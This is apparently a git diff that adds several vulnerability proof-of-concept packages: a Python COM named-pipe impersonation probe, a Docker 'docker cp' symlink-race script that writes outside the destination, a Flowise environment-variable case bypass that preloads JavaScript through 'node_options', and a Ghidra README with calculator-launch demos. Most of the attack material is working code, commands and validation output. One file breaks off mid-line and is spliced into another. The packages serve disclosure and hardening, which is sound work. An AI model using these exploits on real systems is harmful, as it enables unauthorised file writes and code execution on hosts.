@@ -0,0 +1,216 @@ +import argparse +import ctypes +import json +import os +import pathlib +import struct +import subprocess +import sys +import time +import uuid + + +def utf16le(value): + return value.encode("utf-16le") + + +def analyze_binary(path): + data = pathlib.Path(path).read_bytes() + markers = { + "pipe_name_utf16": utf16le(r"\\.\pipe\adprinterpipe") in data, + "print_default_ascii": b"ad.security.print=true" in data, + "service_mode_utf16": utf16le(" --service") in data, + "iid_iunknown": bytes.fromhex("0000000000000000c000000000000046") in data, + "iid_istream": bytes.fromhex("0c00000000000000c000000000000046") in data, + "co_unmarshal_import": b"CoUnmarshalInterface" in data, + "co_initialize_security_import": b"CoInitializeSecurity" in data, + "create_named_pipe_import": b"CreateNamedPipeW" in data, + "create_service_import": b"CreateServiceW" in data, + } + result = { + "path": str(path), + "size": len(data), + "markers": markers, + "matched": sum(1 for value in markers.values() if value), + "total": len(markers), + } + print(json.dumps(result, indent=2)) + return 0 if result["matched"] >= 7 else 1 + + +def impersonated_user(): + import win32api + import win32con + import win32security + + ole32 = ctypes.OleDLL("ole32") + hr = ole32.CoImpersonateClient() + if hr < 0: + return f"CoImpersonateClient failed: 0x{ctypes.c_ulong(hr).value:08x}" + try: + token = win32security.OpenThreadToken(win32api.GetCurrentThread(), win32con.TOKEN_QUERY, True) + user_sid, _ = win32security.GetTokenInformation(token, win32security.TokenUser) + name, domain, _ = win32security.LookupAccountSid(None, user_sid) + return f"{domain}\\{name}" + finally: + ole32.CoRevertToSelf() + + +class ProbeStream: + _com_interfaces_ = [] + _public_methods_ = [ + "Read", + "Write", + "Seek", + "SetSize", + "CopyTo", + "Commit", + "Revert", + "LockRegion", + "UnlockRegion", + "Stat", + "Clone", + ] + + def Read(self, count): + print(f"PROBE_IMPERSONATED={impersonated_user()}", flush=True) + return b"" + + def Write(self, data): + return len(data) + + def Seek(self, move, origin): + return 0 + + def SetSize(self, size): + return None + + def CopyTo(self, other, count): + return (0, 0) + + def Commit(self, flags): + return None + + def Revert(self): + return None + + def LockRegion(self, offset, count, lock_type): + return None + + def UnlockRegion(self, offset, count, lock_type): + return None + + def Stat(self, flags): + return None + + def Clone(self): + return None + + +def marshal_probe_stream(): + import pythoncom + import win32com.server.util + + pythoncom.CoInitialize() + ProbeStream._com_interfaces_ = [pythoncom.IID_IStream] + obj = win32com.server.util.wrap(ProbeStream(), pythoncom.IID_IStream) + stream = pythoncom.CreateStreamOnHGlobal() + pythoncom.CoMarshalInterface(stream, pythoncom.IID_IUnknown, obj, pythoncom.MSHCTX_LOCAL, pythoncom.MSHLFLAGS_NORMAL) + size = stream.Seek(0, 1) + stream.Seek(0, 0) + return stream.Read(size), obj + + +def attacker(pipe_name): + import pythoncom + import win32con + import win32file + + payload, keepalive = marshal_probe_stream() + message = struct.pack("=306; platform_system=="Windows" diff --git a/docker-cp-copyout-destination-escape/.gitattributes b/docker-cp-copyout-destination-escape/.gitattributes new file mode 100644 index 0000000..cacefc6 --- /dev/null +++ b/docker-cp-copyout-destination-escape/.gitattributes @@ -0,0 +1,5 @@ +* text=auto +.gitattributes text eol=lf +*.sh text eol=lf +*.md text eol=lf +*.txt text eol=lf diff --git a/docker-cp-copyout-destination-escape/.gitignore b/docker-cp-copyout-destination-escape/.gitignore new file mode 100644 index 0000000..79a8ac1 --- /dev/null +++ b/docker-cp-copyout-destination-escape/.gitignore @@ -0,0 +1,4 @@ +*.tmp +*.log +docker-cp.stdout +docker-cp.stderr diff --git a/docker-cp-copyout-destination-escape/README.md b/docker-cp-copyout-destination-escape/README.md new file mode 100644 index 0000000..f9c4c3c --- /dev/null +++ b/docker-cp-copyout-destination-escape/README.md @@ -0,0 +1,109 @@ +# Docker cp copy-out destination escape + +This repository contains a minimal proof of concept for a `docker cp` copy-out path issue validated on Docker Engine 29.6.0. + +The demonstrated behavior is: + +> A process inside a running container can race a host-initiated `docker cp :/tmp/src ` operation so that the copy writes a container-controlled file into a sibling host path outside the requested destination. + +The PoC uses `/tmp/.../dst` as the requested host destination and causes Docker's copy-out extraction to create `/tmp/.../dst2/marker`. + +## What this is + +- A host/operator-initiated `docker cp` copy-out destination escape. +- A container-controlled file write outside the requested host destination directory. +- A race against Docker's archive creation and local archive extraction behavior. +- Validated locally on Docker Client/Server 29.6.0, API 1.55, on June 23, 2026. + +## What this is not + +- Not a no-interaction container escape. +- Not a default runtime breakout from an idle container. +- Not a Docker socket or daemon API exposure. +- Not a kernel memory-corruption exploit. +- Not a demonstrated arbitrary host-root file write in every configuration. +- Not a claim that the PoC reaches every possible host path. + +The host user who runs `docker cp` performs the extraction. The practical impact depends on who runs that command and where they copy container data. + +## Preconditions + +- The attacker controls files and processes inside a running Linux container. +- A host user runs `docker cp` from the attacker-controlled container to a host filesystem destination. +- The destination has a sibling path whose name has the requested destination as a raw string prefix. The PoC uses `dst` and `dst2`. +- The race wins while Docker is producing and extracting the copy-out tar stream. + +The PoC widens the race by placing many padding files before the raced path. + +## Reproduction + +Run on a host that has Docker available: + +```bash +chmod +x poc.sh +HOST_BASE=/tmp/docker-cp-copyout-repro ./poc.sh +``` + +Successful output includes: + +```text +success=yes +requested_destination=/tmp/docker-cp-copyout-repro/dst +outside_marker_path=/tmp/docker-cp-copyout-repro/dst2/marker +outside_marker_value=container-controlled-host-marker +``` + +The requested destination is `.../dst`. The marker is written under the sibling `.../dst2`. + +## Fresh validation + +The packaged PoC was replayed successfully against Docker Client/Server 29.6.0: + +```text +Client=29.6.0 Server=29.6.0 API=1.55 +delay=0.010 cp_status=0 outside_marker=absent link=../../../dst2 +delay=0.025 cp_status=0 outside_marker=absent link=../../../dst2 +delay=0.050 cp_status=0 outside_marker=absent link=../../../dst2 +delay=0.075 cp_status=0 outside_marker=absent link=../../../dst2 +delay=0.100 cp_status=0 outside_marker=absent link=../../../dst2 +delay=0.150 cp_status=0 outside_marker=absent link=../../../dst2 +delay=0.200 cp_status=0 outside_marker=present link=../../../dst2 +success=yes +requested_destination=/var/tmp/docker-cp-copyout-github/dst +outside_marker_path=/var/tmp/docker-cp-copyout-github/dst2/marker +outside_marker_value=container-controlled-host-marker +observed_symlink=/var/tmp/docker-cp-copyout-github/dst/src/dir/zzlink -> ../../../dst2 +``` + +The validation transcript is also stored in `validation/2026-06-23-docker-29.6.0.txt`. + +## Source-level notes + +In Docker CLI 29.6.0, `cli/command/container/cp.go` resolves the host destination, asks the daemon for a tar stream with `CopyFromContainer`, then calls `archive.CopyTo` to extract that stream locally (`cp.go:257-338`). + +On the daemon side, `daemon/archive_unix.go` creates an archive of the requested container path by opening the container filesystem and starting a `go-archive` tarballer (`archive_unix.go:40-92`). The tarballer walks the source tree with `filepath.WalkDir` and later adds the current path to the tar stream (`vendor/github.com/moby/go-archive/archive.go:693-794`). If a container process changes a directory entry after the walk has observed it but before the tar entry is added and recursed, the produced tar stream can contain a symlink at that path and then entries below the same logical path. + +On the extraction side, `archive.CopyTo` prepares the destination and calls `Untar` (`vendor/github.com/moby/go-archive/copy.go:418-437`). During symlink extraction, the target is constructed with `filepath.Join(filepath.Dir(path), hdr.Linkname)` and checked with `strings.HasPrefix(targetPath, extractDir)` (`archive.go:480-490`). A path such as: + +```text +extractDir=/tmp/docker-cp-copyout-repro/dst +targetPath=/tmp/docker-cp-copyout-repro/dst2 +``` + +passes that raw prefix check even though `dst2` is outside `dst`. Later regular-file extraction opens the path normally (`archive.go:435-446`), so entries beneath the symlink are written through it into the sibling path. + +Docker's container path helper also documents the general time-of-check/time-of-use caveat for scoped container paths: the returned path remains scoped only if no path component changes between resolving and using it (`daemon/container/container.go:359-363`). The PoC exercises that kind of race during copy-out archive production and combines it with the local extraction prefix issue. + +## Cleanup + +The PoC removes its disposable container on exit. Host output remains under `HOST_BASE` so the result can be inspected: + +```bash +rm -rf /tmp/docker-cp-copyout-repro +``` + +## Defensive notes + +Robust extraction should not rely on raw string-prefix checks for containment. A path-boundary check is better than `strings.HasPrefix`, but still does not fully address archive extraction races through symlinks. The safer design is descriptor-rooted extraction that opens path components relative to a trusted directory file descriptor and avoids following attacker-created symlinks for subsequent entries unless the target is proven to remain inside the extraction root. + +Operationally, avoid running `docker cp` from containers whose contents are controlled by an untrusted party. Prefer copying from stopped containers or from immutable snapshots when the source is untrusted. diff --git a/docker-cp-copyout-destination-escape/poc.sh b/docker-cp-copyout-destination-escape/poc.sh new file mode 100644 index 0000000..74ed60f --- /dev/null +++ b/docker-cp-copyout-destination-escape/poc.sh @@ -0,0 +1,96 @@ +#!/usr/bin/env bash +set -euo pipefail + +name="docker-cp-copyout-poc-$$" +host_base="${HOST_BASE:-/tmp/docker-cp-copyout-poc-$$}" +host_dst="${host_base}/dst" +host_out="${host_base}/dst2" +attempt_log="${host_base}/attempts.log" +stdout_log="${host_base}/docker-cp.stdout" +stderr_log="${host_base}/docker-cp.stderr" + +cleanup() { + docker rm -f "$name" >/dev/null 2>&1 || true +} +trap cleanup EXIT + +rm -rf "$host_base" +mkdir -p "$host_dst" "$host_out" + +docker run -d --name "$name" alpine:3.21 sleep 600 >/dev/null +docker exec "$name" sh -lc ' + set -e + rm -rf /tmp/src /dst2 + mkdir -p /tmp/src/dir /dst2 + printf "container-controlled-host-marker\n" > /dst2/marker + i=0 + while [ "$i" -lt 12000 ]; do + printf "pad-%05d-%0128d\n" "$i" 0 > "/tmp/src/dir/a$(printf "%05d" "$i")" + i=$((i+1)) + done + mkdir -p /tmp/src/dir/zzlink +' + +try_delay() { + local delay="$1" + rm -rf "$host_dst" "$host_out" + mkdir -p "$host_dst" "$host_out" + : > "$stdout_log" + : > "$stderr_log" + docker exec "$name" sh -lc 'rm -rf /tmp/src/dir/zzlink /tmp/swap-done; mkdir -p /tmp/src/dir/zzlink' + docker exec -d "$name" sh -lc "sleep '$delay'; rm -rf /tmp/src/dir/zzlink; ln -s ../../../dst2 /tmp/src/dir/zzlink; touch /tmp/swap-done" + set +e + docker cp "$name:/tmp/src" "$host_dst" >"$stdout_log" 2>"$stderr_log" + local cp_status=$? + set -e + local outside="absent" + if [ -f "$host_out/marker" ]; then + outside="present" + fi + local link="absent" + for candidate in "$host_dst/src/dir/zzlink" "$host_dst/dir/zzlink"; do + if [ -L "$candidate" ]; then + link="$(readlink "$candidate")" + break + elif [ -d "$candidate" ]; then + link="directory" + fi + done + printf 'delay=%s cp_status=%s outside_marker=%s link=%s\n' "$delay" "$cp_status" "$outside" "$link" | tee -a "$attempt_log" + [ "$outside" = "present" ] +} + +delays=( + 0.010 0.025 0.050 0.075 0.100 0.150 0.200 0.300 0.400 0.550 + 0.700 0.900 1.100 1.400 1.800 2.200 2.800 3.500 4.500 5.500 +) + +success="no" +for delay in "${delays[@]}"; do + if try_delay "$delay"; then + success="yes" + break + fi +done + +echo "success=${success}" +echo "host_base=${host_base}" +echo "requested_destination=${host_dst}" +echo "outside_marker_path=${host_out}/marker" +if [ "$success" = "yes" ]; then + echo "outside_marker_value=$(cat "$host_out/marker")" + for candidate in "$host_dst/src/dir/zzlink" "$host_dst/dir/zzlink"; do + if [ -L "$candidate" ]; then + echo "observed_symlink=${candidate} -> $(readlink "$candidate")" + break + fi + done + echo "docker_cp_stdout=${stdout_log}" + echo "docker_cp_stderr=${stderr_log}" +else + echo "attempt_log=${attempt_log}" + echo "docker_cp_stderr_tail_start" + tail -n 20 "$stderr_log" || true + echo "docker_cp_stderr_tail_end" + exit 1 +fi diff --git a/docker-cp-copyout-destination-escape/validation/2026-06-23-docker-29.6.0.txt b/docker-cp-copyout-destination-escape/validation/2026-06-23-docker-29.6.0.txt new file mode 100644 index 0000000..6f069b0 --- /dev/null +++ b/docker-cp-copyout-destination-escape/validation/2026-06-23-docker-29.6.0.txt @@ -0,0 +1,44 @@ +Client: Docker Engine - Community + Version: 29.6.0 + API version: 1.55 + Go version: go1.26.4 + Git commit: fb59821 + Built: Thu Jun 18 19:57:31 2026 + OS/Arch: linux/amd64 + Context: default + +Server: Docker Engine - Community + Engine: + Version: 29.6.0 + API version: 1.55 (minimum version 1.40) + Go version: go1.26.4 + Git commit: 70eaf5e + Built: Thu Jun 18 19:57:31 2026 + OS/Arch: linux/amd64 + Experimental: false + containerd: + Version: v2.2.5 + GitCommit: e53c7c1516c3b2bff98eb76f1f4117477e6f4e66 + runc: + Version: 1.3.6 + GitCommit: v1.3.6-0-g491b69ba + docker-init: + Version: 0.19.0 + GitCommit: de40ad0 + +--- poc replay --- +delay=0.010 cp_status=0 outside_marker=absent link=../../../dst2 +delay=0.025 cp_status=0 outside_marker=absent link=../../../dst2 +delay=0.050 cp_status=0 outside_marker=absent link=../../../dst2 +delay=0.075 cp_status=0 outside_marker=absent link=../../../dst2 +delay=0.100 cp_status=0 outside_marker=absent link=../../../dst2 +delay=0.150 cp_status=0 outside_marker=absent link=../../../dst2 +delay=0.200 cp_status=0 outside_marker=present link=../../../dst2 +success=yes +host_base=/var/tmp/docker-cp-copyout-github +requested_destination=/var/tmp/docker-cp-copyout-github/dst +outside_marker_path=/var/tmp/docker-cp-copyout-github/dst2/marker +outside_marker_value=container-controlled-host-marker +observed_symlink=/var/tmp/docker-cp-copyout-github/dst/src/dir/zzlink -> ../../../dst2 +docker_cp_stdout=/var/tmp/docker-cp-copyout-github/docker-cp.stdout +docker_cp_stderr=/var/tmp/docker-cp-copyout-github/docker-cp.stderr diff --git a/flowise-mcp-env-case-bypass-poc/.gitignore b/flowise-mcp-env-case-bypass-poc/.gitignore new file mode 100644 index 0000000..886673e --- /dev/null +++ b/flowise-mcp-env-case-bypass-poc/.gitignore @@ -0,0 +1,9 @@ +__pycache__/ +*.pyc +.venv/ +venv/ +*.log +*.loader.js +*_marker.txt +dist/ +build/ diff --git a/flowise-mcp-env-case-bypass-poc/README.md b/flowise-mcp-env-case-bypass-poc/README.md new file mode 100644 index 0000000..dbc4cff --- /dev/null +++ b/flowise-mcp-env-case-bypass-poc/README.md @@ -0,0 +1,108 @@ +# Flowise 3.1.2 Custom MCP Environment Variable Case Bypass PoC + +This repository documents and validates an authenticated Windows ACE/RCE-class issue in Flowise `3.1.2` / `flowise-components` `3.1.2`. + +Flowise Custom MCP stdio validation blocks dangerous environment variable names such as `NODE_OPTIONS` by exact string comparison. Windows treats environment variable names case-insensitively. A casing variant such as `node_options` passes Flowise validation and is still honored by a spawned Node.js child process as `NODE_OPTIONS`. + +## Affected Target + +- Product: Flowise +- Version analyzed: `3.1.2` +- Package: `flowise-components@3.1.2` +- Platform impact: Windows Flowise deployments +- Required access: authenticated Flowise session or API-key context that can configure or load a Custom MCP stdio node + +## Impact + +An authenticated user who can reach Custom MCP stdio configuration can bypass the intended environment denylist and influence Node.js child process startup. When the MCP command is a Node.js process, a lower-case `node_options` entry can preload attacker-chosen JavaScript through Node's startup option handling. + +The result is code execution in the Flowise worker/server context on Windows deployments where the Custom MCP path is reachable. + +## Source Trace + +Relevant source locations in Flowise `3.1.2`: + +| File | Behavior | +| --- | --- | +| `packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts` | Parses `mcpServerConfig`, validates it when `CUSTOM_MCP_SECURITY_CHECK` is enabled, and creates `MCPToolkit` with stdio when a command is present | +| `packages/components/nodes/tools/MCP/core.ts` | `MCPToolkit.createClient` passes `serverParams.env` into `StdioClientTransport` | +| `packages/components/nodes/tools/MCP/core.ts` | `validateEnvironmentVariables` denies `PATH`, `LD_LIBRARY_PATH`, `DYLD_LIBRARY_PATH`, and `NODE_OPTIONS` by exact-case comparison | +| `@modelcontextprotocol/sdk/client/stdio.js` | The stdio transport spawns the configured process with the supplied environment | + +The vulnerable validation shape is: + +```ts +const dangerousEnvVars = ['PATH', 'LD_LIBRARY_PATH', 'DYLD_LIBRARY_PATH', 'NODE_OPTIONS'] + +for (const [key, value] of Object.entries(env)) { + if (dangerousEnvVars.includes(key)) { + throw new Error(...) + } +} +``` + +On Windows, `node_options` and `NODE_OPTIONS` address the same environment variable slot for the child process, but only the exact uppercase spelling is denied. + +## PoC Design + +`poc.py` models the relevant Flowise validation and then launches a local Node.js process with `node_options=--require `. The loader writes a marker file. On Windows, marker creation proves that the lower-case environment variable bypasses exact-case validation and is honored by Node.js as a startup option. + +The script also shows the fix shape by comparing the vulnerable exact-case validator to a normalized validator that checks `key.upper()`. + +## Requirements + +- Python 3.10 or newer +- Node.js available in `PATH` for the canary execution step +- Windows for full child-process behavior reproduction + +## Usage + +Run the PoC: + +```powershell +python poc.py +``` + +Run with a custom marker path: + +```powershell +python poc.py --marker C:\Temp\flowise_marker.txt +``` + +Expected Windows output shape: + +```json +{ + "windows": true, + "flowise_style_exact_upper_blocked": true, + "flowise_style_lower_variant_accepted": true, + "normalized_validator_blocks_lower_variant": true, + "node_canary": { + "canary_created": true, + "canary_content": "node_options honored" + }, + "finding_reproduced": true +} +``` + +## Exploit Preconditions + +- The deployment runs on Windows. +- Custom MCP stdio support is reachable. +- The attacker has an authenticated/session/API-key path that can influence a Custom MCP node configuration. +- The configured MCP command starts a Node.js child process or another runtime with security-sensitive environment handling. + +## Root Cause + +The denylist comparison is platform-insensitive. Environment variable names are case-sensitive on many Unix-like systems but case-insensitive on Windows. A security check that compares environment keys by exact string spelling does not enforce the intended policy on Windows. + +## Fix Direction + +- Normalize environment variable names before comparison on every platform. +- Use platform-aware comparison rules when validating environment keys. +- Prefer an allowlist of safe environment variables for MCP stdio child processes. +- Add Windows-specific regression tests for case variants such as `node_options`, `Node_Options`, and `NoDe_OpTiOnS`. + +## Validation Status + +The issue was locally validated against `flowise-components@3.1.2`: exact uppercase `NODE_OPTIONS` was blocked, lowercase `node_options` was accepted, and the MCP stdio path created a marker file through Node.js startup option handling. diff --git a/flowise-mcp-env-case-bypass-poc/poc.py b/flowise-mcp-env-case-bypass-poc/poc.py new file mode 100644 index 0000000..a8ac4fa --- /dev/null +++ b/flowise-mcp-env-case-bypass-poc/poc.py @@ -0,0 +1,101 @@ +import argparse +import json +import os +import pathlib +import platform +import shutil +import subprocess +import sys +import tempfile + + +def flowise_style_validate(env): + dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"} + for key, value in env.items(): + if key in dangerous: + raise ValueError(f"Environment variable {key!r} modification is not allowed") + if "\x00" in key or "\x00" in str(value): + raise ValueError("Environment variables cannot contain null bytes") + + +def normalized_validate(env): + dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"} + for key, value in env.items(): + if key.upper() in dangerous: + raise ValueError(f"Environment variable {key!r} modification is not allowed") + if "\x00" in key or "\x00" in str(value): + raise ValueError("Environment variables cannot contain null bytes") + + +def run_node_canary(marker): + node = shutil.which("node") + if not node: + return {"node_found": False, "canary_created": False} + marker_path = pathlib.Path(marker).resolve() + loader_path = marker_path.with_suffix(".loader.js") + loader_path.write_text( + "require('fs').writeFileSync(process.env.FLOWISE_POC_MARKER, 'node_options honored')\n", + encoding="utf-8", + ) + env = os.environ.copy() + env.pop("NODE_OPTIONS", None) + env.pop("node_options", None) + env["node_options"] = f"--require {loader_path}" + env["FLOWISE_POC_MARKER"] = str(marker_path) + if marker_path.exists(): + marker_path.unlink() + completed = subprocess.run([node, "-e", "process.exit(0)"], env=env, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) + return { + "node_found": True, + "node": node, + "returncode": completed.returncode, + "stderr": completed.stderr.strip(), + "marker": str(marker_path), + "canary_created": marker_path.exists(), + "canary_content": marker_path.read_text(encoding="utf-8") if marker_path.exists() else "", + } + + +def run(marker): + exact_upper_blocked = False + exact_upper_error = "" + lower_variant_accepted = False + normalized_blocks_lower = False + try: + flowise_style_validate({"NODE_OPTIONS": "--require blocked.js"}) + except ValueError as exc: + exact_upper_blocked = True + exact_upper_error = str(exc) + try: + flowise_style_validate({"node_options": "--require accepted.js"}) + lower_variant_accepted = True + except ValueError: + lower_variant_accepted = False + try: + normalized_validate({"node_options": "--require accepted.js"}) + except ValueError: + normalized_blocks_lower = True + node_result = run_node_canary(marker) + result = { + "platform": platform.platform(), + "windows": os.name == "nt", + "flowise_style_exact_upper_blocked": exact_upper_blocked, + "flowise_style_exact_upper_error": exact_upper_error, + "flowise_style_lower_variant_accepted": lower_variant_accepted, + "normalized_validator_blocks_lower_variant": normalized_blocks_lower, + "node_canary": node_result, + "finding_reproduced": lower_variant_accepted and (node_result.get("canary_created") if os.name == "nt" else True), + } + print(json.dumps(result, indent=2)) + return 0 if result["finding_reproduced"] else 1 + + +def main(): + parser = argparse.ArgumentParser() + parser.add_argument("--marker", default=str(pathlib.Path(tempfile.gettempdir()) / "flowise_node_options_case_bypass_marker.txt")) + args = parser.parse_args() + raise SystemExit(run(args.marker)) + + +if __name__ == "__main__": + main() diff --git a/ghidra-12.1.2-rce-ace-calc-poc/.gitignore b/ghidra-12.1.2-rce-ace-calc-poc/.gitignore new file mode 100644 index 0000000..202c1b5 --- /dev/null +++ b/ghidra-12.1.2-rce-ace-calc-poc/.gitignore @@ -0,0 +1,6 @@ +artifacts/ +*.class +*.log +__pycache__/ +*.pyc + diff --git a/ghidra-12.1.2-rce-ace-calc-poc/README.md b/ghidra-12.1.2-rce-ace-calc-poc/README.md new file mode 100644 index 0000000..3c0d82f --- /dev/null +++ b/ghidra-12.1.2-rce-ace-calc-poc/README.md @@ -0,0 +1,164 @@ +# Ghidra 12.1.2 Conditional ACE/RCE Calc PoCs + +This repository packages the closest verified code-execution conditions found +while reviewing Ghidra 12.1.2. + +It is deliberately precise about the classification: + +- **ACE calc PoC:** conditional Swift demangler path execution. This is local + arbitrary code execution when a restored/configured Swift tool directory is + used by the Swift demangler analyzer. +- **RCE calc PoC shape:** conditional TraceRMI debugger-agent command execution. + This is real code execution when an untrusted peer can drive an already + created TraceRMI debugger-agent channel. +- **Default-reachable RCE-class surface:** SevenZipJBinding native archive + parsing. This is source reachability evidence for a native parser surface. + +## Repository Contents + +- `pocs/ace_swift_demangler_calc_poc.py` + Creates a fake `swift-demangle` tool and, when run, simulates the Ghidra + Swift demangler process-launch sink by writing a marker and optionally + launching the local platform calculator. + +- `pocs/rce_tracermi_conditional_calc_poc.py` + Checks a Ghidra source tree for TraceRMI execution-capable agent methods and + emits calc-only command shapes for those sinks. It can also launch local + calculator as a benign proof marker for local validation. + +- `pocs/sevenzip_jbinding_reachability.py` + Source reachability checker for the SevenZipJBinding native archive parser + path. + +- `pocs/SevenZipReachabilityProbe.java` + Optional benign runtime probe that opens a harmless ZIP through + SevenZipJBinding when the caller supplies the dependency jars. + +- `evidence/source-evidence.md` + Short source-to-sink evidence for the three reviewed surfaces. + +- `docs/classification.md` + Finding classification and why the claims are conditional. + +## Quick Start + +The PoCs are standard-library Python scripts. Use whichever launcher exists on +your system: `python3`, `python`, or `py -3`. + +Pass a source checkout explicitly: + +```bash +python3 pocs/rce_tracermi_conditional_calc_poc.py --ghidra-source /path/to/ghidra-12.1.2 +``` + +Or set `GHIDRA_SOURCE`: + +```bash +export GHIDRA_SOURCE=/path/to/ghidra-12.1.2 +python3 pocs/sevenzip_jbinding_reachability.py +``` + +Run the ACE calc simulator in dry-run mode: + +```bash +python3 pocs/ace_swift_demangler_calc_poc.py +``` + +Run the ACE calc simulator and launch the platform calculator: + +```bash +python3 pocs/ace_swift_demangler_calc_poc.py --run +``` + +Run marker-only mode: + +```bash +python3 pocs/ace_swift_demangler_calc_poc.py --run --no-calc +``` + +Check the TraceRMI conditional RCE sinks in a local Ghidra source checkout: + +```bash +python3 pocs/rce_tracermi_conditional_calc_poc.py --ghidra-source /path/to/ghidra-12.1.2 +``` + +Emit calc-only TraceRMI command shapes and launch local calculator as a proof +marker: + +```bash +python3 pocs/rce_tracermi_conditional_calc_poc.py \ + --ghidra-source /path/to/ghidra-12.1.2 \ + --run-local-calc-demo +``` + +Run SevenZipJBinding source reachability checks: + +```bash +python3 pocs/sevenzip_jbinding_reachability.py --ghidra-source /path/to/ghidra-12.1.2 +``` + +## ACE: Swift Demangler Path + +The Swift demangler path is a conditional arbitrary-code-execution condition. +The relevant source-to-sink shape is: + +1. Program/analyzer state can influence the Swift binary directory. +2. The Swift native demangler builds a path under that directory. +3. The demangler validation and symbol demangling paths launch the configured + `swift-demangle` executable. + +The PoC script creates a local fake Swift tool directory and invokes the fake +demangler directly, matching the process-launch shape. This proves the +calc-capable sink for the configured Swift demangler condition. + +## RCE: TraceRMI Agent Channel + +TraceRMI is classified as conditional RCE because the debugger agent methods +include command/eval sinks exposed through a TraceRMI control channel. Examples +seen in Ghidra 12.1.2 source include: + +- GDB agent: `execute(cmd)` calls `gdb.execute(cmd, ...)`. +- LLDB agent: `execute(cmd)` routes to the LLDB command interpreter. +- LLDB agent: `pyeval(expr)` calls Python `eval(expr)`. + +Once an untrusted peer can drive such an exposed agent channel, the impact is +code execution in the debugger-agent context. The exposure precondition is an +agent channel reachable by an untrusted controller or peer. + +The RCE script records calc-only command shapes and can launch local calc to +demonstrate the sink impact. Use it for defensive reproduction planning and +patch/hardening discussion. + +## SevenZipJBinding Native Parser Exposure + +Ghidra 12.1.2 includes SevenZipJBinding 16.02-era native code and routes +recognized archive bytes into that parser in-process. This is a serious +RCE-class parser exposure because reverse engineers routinely open untrusted +archives and firmware containers. + +The included checks prove reachability with benign source checks and harmless +archive sample generation. + +## Portability Notes + +The scripts accept source paths from `--ghidra-source`, `GHIDRA_SOURCE`, or a +nearby `ghidra-12.1.2` directory. Calculator launch is best effort: + +- Windows: `calc.exe` +- macOS: `open -a Calculator` +- Linux: `xcalc`, `gnome-calculator`, `kcalc`, or `qalculate-gtk` + +## Expected Output + +The PoC scripts write markers under `artifacts/` by default: + +- `artifacts/swift-demangler-calc/swift_demangler_calc_marker.txt` +- `artifacts/tracermi-conditional-rce/tracermi_local_calc_marker.txt` +- `artifacts/tracermi-conditional-rce/tracermi_calc_payload_shapes.txt` + +The `artifacts/` directory is ignored by Git. + +## Responsible Use + +Use this repository for defensive validation, reproduction notes, and hardening +discussion with the stated preconditions. diff --git a/ghidra-12.1.2-rce-ace-calc-poc/docs/classification.md b/ghidra-12.1.2-rce-ace-calc-poc/docs/classification.md new file mode 100644 index 0000000..2898895 --- /dev/null +++ b/ghidra-12.1.2-rce-ace-calc-poc/docs/classification.md @@ -0,0 +1,33 @@ +# Classification + +## Closest Verified ACE + +**Swift demangler analyzer path, conditional.** + +The execution sink is a native process launch of a configured Swift demangler +tool. The condition is that analysis reaches the Swift demangler path and the +Swift tool directory resolves to attacker-controlled executable content. + +This is ACE because the execution is local to the Ghidra user context and does +not require a remote channel. + +## Closest Verified RCE + +**TraceRMI debugger-agent channel, conditional.** + +The execution sinks are debugger-agent methods that call debugger command +interpreters or Python evaluation paths. The condition is that an untrusted peer +can drive an already created TraceRMI control channel, or can cause an agent to +connect to an untrusted controller. + +This is RCE in that condition because the command originates across a +debugger/IPC boundary and executes in the debugger-agent context. + +## Closest Default-Reachable RCE-Class Surface + +**SevenZipJBinding native parser exposure, not verified code execution.** + +Archive bytes can reach native 7-Zip parsing code inside the Ghidra JVM. That +is an RCE-class parser surface, but this repository does not claim a +Ghidra-specific calc exploit for it. + diff --git a/ghidra-12.1.2-rce-ace-calc-poc/evidence/source-evidence.md b/ghidra-12.1.2-rce-ace-calc-poc/evidence/source-evidence.md new file mode 100644 index 0000000..5e69fa3 --- /dev/null +++ b/ghidra-12.1.2-rce-ace-calc-poc/evidence/source-evidence.md @@ -0,0 +1,40 @@ +# Source Evidence Summary + +## Swift Demangler ACE + +- `SwiftDemanglerAnalyzer.java` restores a Swift binary directory analyzer + option. +- `SwiftNativeDemangler.java` builds the native demangler path from the + configured Swift directory. +- `SwiftNativeDemangler.java` executes the native demangler with `--version`. +- `SwiftNativeDemangler.java` executes the native demangler during symbol + demangling. + +## TraceRMI Conditional RCE + +- GDB agent `methods.py` exposes `execute(cmd)`. +- The GDB implementation calls `gdb.execute(cmd, to_string=...)`. +- LLDB agent `methods.py` exposes `execute(cmd)`. +- The LLDB implementation routes the command string to the LLDB command + interpreter. +- LLDB agent `methods.py` exposes `pyeval(expr)`. +- The LLDB implementation calls Python `eval(expr)`. + +These are execution-capable sinks once a TraceRMI agent channel is exposed or +connected to an untrusted controller. + +## SevenZipJBinding Reachability + +- `Ghidra/Features/FileFormats/build.gradle` declares + `sevenzipjbinding:16.02-2.01`. +- `Ghidra/Features/FileFormats/build.gradle` declares + `sevenzipjbinding-all-platforms:16.02-2.01`. +- `SevenZipFileSystemFactory.probeStartBytes(...)` recognizes archive + signatures. +- `SevenZipFileSystemFactory.create(...)` constructs `SevenZipFileSystem`. +- `SevenZipFileSystem.mount(...)` calls `SevenZip.openInArchive(...)`. +- `SevenZipCustomInitializer.initSevenZip()` loads native libraries with + `System.load(...)`. +- `ZipFileSystemFactory.create(...)` tries the SevenZip path for ZIP handling + unless built-in ZIP handling is forced. + diff --git a/ghidra-12.1.2-rce-ace-calc-poc/pocs/SevenZipReachabilityProbe.java b/ghidra-12.1.2-rce-ace-calc-poc/pocs/SevenZipReachabilityProbe.java new file mode 100644 index 0000000..b35e520 --- /dev/null +++ b/ghidra-12.1.2-rce-ace-calc-poc/pocs/SevenZipReachabilityProbe.java @@ -0,0 +1,47 @@ +import java.io.RandomAccessFile; +import java.nio.charset.StandardCharsets; +import java.nio.file.Files; +import java.nio.file.Path; +import java.util.zip.ZipEntry; +import java.util.zip.ZipOutputStream; + +import net.sf.sevenzipjbinding.IInArchive; +import net.sf.sevenzipjbinding.PropID; +import net.sf.sevenzipjbinding.SevenZip; +import net.sf.sevenzipjbinding.impl.RandomAccessFileInStream; + +public final class SevenZipReachabilityProbe { + private SevenZipReachabilityProbe() { + } + + public static void main(String[] args) throws Exception { + Path zipPath = Files.createTempFile("ghidra-sevenzip-safe-", ".zip"); + 